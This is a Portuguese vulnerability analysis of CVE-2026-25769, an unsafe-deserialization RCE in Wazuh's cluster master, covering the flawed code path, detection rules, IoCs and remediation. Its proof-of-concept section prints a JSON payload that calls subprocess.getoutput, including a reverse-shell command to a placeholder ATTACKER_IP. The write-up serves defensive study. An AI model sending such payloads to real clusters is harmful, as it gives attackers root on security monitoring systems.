

Análise da CVE-2026-25769 no Ecosistema Wazuh

Neste projeto, analiso uma vulnerabilidade crítica de RCE (Remote Code Execution) que afeta a arquitetura de cluster do Wazuh, uma das ferramentas de SIEM/XDR mais utilizadas no mercado. O objetivo é demonstrar o impacto técnico dessa falha e como ela pode comprometer toda a cadeia de monitoramento de uma organização.

O Problema

A falha (catalogada como CVE-2026-25769) ocorre no protocolo de comunicação interna do cluster. Identifiquei que o problema central é uma desserialização de dados não confiáveis (CWE-502).

Basicamente, o nó mestre aceita mensagens JSON de nós de trabalho (workers) e, durante o processo de leitura, acaba executando módulos Python arbitrários. Na prática, se um invasor comprometer um único nó de trabalho, ele consegue executar comandos com privilégios de root diretamente no nó mestre.

Dados Técnicos da Ameaça

- Gravidade: Crítica (CVSS 9.1)
- Versões Afetadas: 4.0.0 até 4.14.2
- Correção: Atualização para a versão 4.14.3
- Impacto Principal: Comprometimento total da infraestrutura de segurança, permitindo ao atacante apagar logs, desativar alertas e realizar movimentação lateral.

1. Deep Dive: Vulnerabilidade de Desserialização

Aqui o foco é onde o código quebra. Analisando o `framework/wazuh/core/cluster/common.py`, identifiquei a falha de lógica na função `as_wazuh_object()`.

Ponto Crítico: `as_wazuh_object`

A função é usada como `object_hook` no `json.loads()`. O erro é permitir que o JSON defina qual módulo Python o sistema deve importar.

O que acontece no código:

1. O mestre recebe o JSON e procura pela chave `__callable__`.
2. Ele extrai o valor de `__module__` (controlado pelo atacante).
3. Executa `import_module()` sem nenhuma lista de permissões (*allowlist*).

4. Usa `getattr()` para capturar a função desejada (ex: `os.system` ou `subprocess.run`).

Exemplo de Payload Malicioso

Um worker comprometido enviaria algo nesse formato para o mestre:

JSON

```
{
  "__callable__": {
    "__module__": "subprocess",
    "__name__": "getoutput",
    "__qualname__": "getoutput"
  },
  "cmd": "whoami"
}
```

Execução de Comando

Quando o mestre processa isso, a DAPI (Distributed API) executa a função resultante:

- Chamada interna: `f(**f_kwargs)` onde `f` vira `subprocess.getoutput`.
- Resultado: Execução arbitrária de comandos como root.

Minha Visão de Segurança: O erro aqui é Confiança Implícita. Só porque o nó está autenticado com a chave Fernet, o mestre não deveria permitir que ele dite o comportamento do processo Python. A correção ideal passa por restringir os módulos importáveis ou remover a capacidade de chamada dinâmica via JSON.

2. Prova de Conceito (PoC) e Detecção

Conceito (PoC) e Detecção Para validar a vulnerabilidade, o foco é entender como a requisição maliciosa é montada e como podemos pegá-la no monitoramento.

Simulação do Payload

O ataque consiste em abusar da Distributed API (DAPI). Um worker comprometido envia o seguinte objeto JSON para o mestre através da porta 1516:

JSON

```
{
  "command": "dapi",
  "arguments": {
    "f": {
      "__callable__": {
        "__module__": "subprocess",
        "__name__": "getoutput",
        "__qualname__": "getoutput"
      }
    },
    "f_kwargs": {
      "cmd": "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
    }
  }
}
```

Indicadores de Comprometimento (IoCs)

Como analista, foquei em dois pontos principais para detecção:

1. **Logs do Cluster:** O processo `wazuh-clusterd` no mestre pode registrar erros de importação ou comportamentos anômalos na DAPI se o payload estiver malformado.
2. **Monitoramento de Processos (Sysmon/Auditd):** A evidência mais clara é o processo pai `python3` (binário do Wazuh) spawnando processos filhos suspeitos como `bash`, `sh`, `whoami` ou `curl` diretamente do diretório do framework.

Estratégia de Detecção (Regra SIGMA/Wazuh)

Uma regra eficaz para o Blue Team deve monitorar execuções originadas pelo usuário do Wazuh que não correspondam ao comportamento padrão:

- **Processo Pai:** `/var/ossec/bin/python3`
- **Comandos Suspeitos:** `subprocess.getoutput`, `os.system` via chamadas de API.
- **Network:** Conexões de saída inesperadas partindo do Nó Mestre para IPs externos logo após tráfego na porta 1516.

3. Estratégias de Detecção e Threat Hunting

Detectar a exploração da **CVE-2026-25769** é complexo porque o payload trafega dentro de um canal criptografado e legítimo (Porta 1516). Por isso, foquei em uma abordagem de detecção em camadas.

Detecção em Nível de Host (A mais eficaz)

Como os comandos do atacante são executados como processos filhos do daemon do Wazuh, a telemetria de endpoint é nossa melhor aliada.

Lógica de Detecção (SIEM/EDR): Procuo por processos gerados pelo `wazuh-clusterd` que fujam do comportamento padrão do framework.

Snippet de código

- # Query para detectar processos filhos anômalos
- `process.parent.name: "wazuh-clusterd"`
- `AND NOT process.name: ("python3" OR "wazuh-*")`

Indicadores Adicionais:

- **Shell Reverso:** Conexões de rede saintes originadas pelo processo do Wazuh para IPs externos.
- **Persistência:** Criação de *cron jobs* ou modificações em diretórios como `/tmp/` sob o usuário wazuh.
- **Logs do Cluster:** Erros de importação no arquivo `/var/ossec/logs/cluster.log` que mencionem a função `as_wazuh_object`.

Detecção em Nível de Rede

Embora o conteúdo seja cifrado via Fernet, anomalias no fluxo podem indicar o ataque:

- Volume atípico de requisições DAPI vindas de um único Worker.
- Tentativas de conexão na porta **1516** originadas de IPs que não pertencem ao inventário de Workers.

4. Plano de Remediação e Hardening

Solução Definitiva

A correção recomendada é a atualização imediata para o **Wazuh v4.14.3+**.

- **O que mudou:** Foi implementada uma *allowlist* na função `as_wazuh_object()`, garantindo que apenas módulos internos e seguros do Wazuh possam ser importados durante a desserialização.

Medidas de Mitigação Temporária (Workarounds)

Caso o patch não possa ser aplicado imediatamente, estas são as contramedidas que implemo:

1. **ACLs de Rede:** Restringir o acesso à porta 1516 estritamente aos IPs dos Workers conhecidos.
2. **Segurança de Chaves:** Rotacionar a chave Fernet (`ossec.conf`) imediatamente após identificar um possível comprometimento de um nó.
3. **Segmentação:** Isolar os nós Workers em uma VLAN separada, limitando o raio de exposição caso um deles seja invadido.

Hardening de Longo Prazo

- **Auditoria de Chamadas:** Ativar o monitoramento de integridade de arquivos (FIM) nos binários do mestre.
- **Privilegio Mínimo:** Revisar as permissões da conta de serviço wazuh para garantir que um RCE não resulte em controle total do SO (evitar o uso desnecessário de privilégios de root onde for possível).

Lições Aprendidas e Conclusão: O Risco da Confiança Implícita

A análise da **CVE-2026-25769** revela um risco estrutural clássico em sistemas distribuídos: a **confiança implícita em canais autenticados**.

Reflexão Crítica

Embora a autenticação (via chaves Fernet) estivesse presente, ela não foi suficiente para garantir a segurança. O erro fundamental foi confundir **identidade** (quem está falando) com **autoridade** (o que ele pode pedir para eu fazer).

A função `as_wazuh_object()`, embora eficiente do ponto de vista de desenvolvimento e conveniência, ignorou o princípio da segurança por design ao não restringir a superfície de ataque por meio de uma *allowlist*.

Conclusão do Estudo

A proteção da infraestrutura SIEM/XDR é crítica. O comprometimento de um único nó foi suficiente para derrubar a "fonte da verdade" da organização. A única defesa eficaz contra desserialização e movimentação lateral é a validação rigorosa de toda entrada, independentemente da origem.